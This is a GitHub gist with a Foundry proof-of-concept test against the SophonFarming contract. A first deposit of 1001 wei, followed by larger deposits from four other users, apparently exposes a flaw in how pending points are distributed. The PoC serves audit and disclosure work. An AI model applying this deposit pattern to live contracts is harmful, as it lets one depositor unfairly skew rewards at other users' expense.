Skip to content

Instantly share code, notes, and snippets.

@0xSandyy
Created June 5, 2024 09:30
Show Gist options
  • Save 0xSandyy/9d3abfba6460b68892fa7d9f2bb46cf8 to your computer and use it in GitHub Desktop.
Save 0xSandyy/9d3abfba6460b68892fa7d9f2bb46cf8 to your computer and use it in GitHub Desktop.
// paste this test in the SophonFarming.t.sol and run with: $ force test --match-test test_poc -vvv
function test_poc() public {
uint256 amountToDeposit = 1001 wei;
// 1001 wei is the limit set in MockStETH.sol:submit().
uint256 secondDeposit = 1 ether;
uint256 thirdDeposit = 1 ether;
uint256 fourthDeposit = 1 ether;
uint256 fifthDeposit = 1 ether;
address alice = address(10);
vm.deal(alice, amountToDeposit + 1e18);
address bob = address(20);
vm.deal(bob, secondDeposit);
address carol = address(30);
vm.deal(carol, thirdDeposit);
address dave = address(40);
vm.deal(dave, fourthDeposit);
address eve = address(50);
vm.deal(eve, fifthDeposit);
uint256 poolId = sophonFarming.typeToId(SophonFarmingState.PredefinedPool.wstETH);
vm.startPrank(alice);
sophonFarming.depositEth{value: amountToDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
vm.stopPrank();
vm.roll(block.number + 1);
vm.startPrank(bob);
sophonFarming.depositEth{value: secondDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
vm.stopPrank();
vm.startPrank(carol);
sophonFarming.depositEth{value: thirdDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
vm.stopPrank();
vm.startPrank(dave);
sophonFarming.depositEth{value: fourthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
vm.stopPrank();
vm.startPrank(eve);
sophonFarming.depositEth{value: fifthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
vm.stopPrank();
// alice deposits again
vm.startPrank(alice);
sophonFarming.depositEth{value: 1e18}(0, SophonFarmingState.PredefinedPool.wstETH);
vm.stopPrank();
vm.roll(block.number + 100);
uint256 pendingPointAlice = sophonFarming.pendingPoints(poolId, alice);
console.log(pendingPointAlice);
uint256 pendingPointBob = sophonFarming.pendingPoints(poolId, bob);
console.log(pendingPointBob);
uint256 pendingPointsCarol = sophonFarming.pendingPoints(poolId, carol);
console.log(pendingPointsCarol);
uint256 pendingPointsDave = sophonFarming.pendingPoints(poolId, dave);
console.log(pendingPointsDave);
uint256 pendingPointsEve = sophonFarming.pendingPoints(poolId, eve);
console.log(pendingPointsEve);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment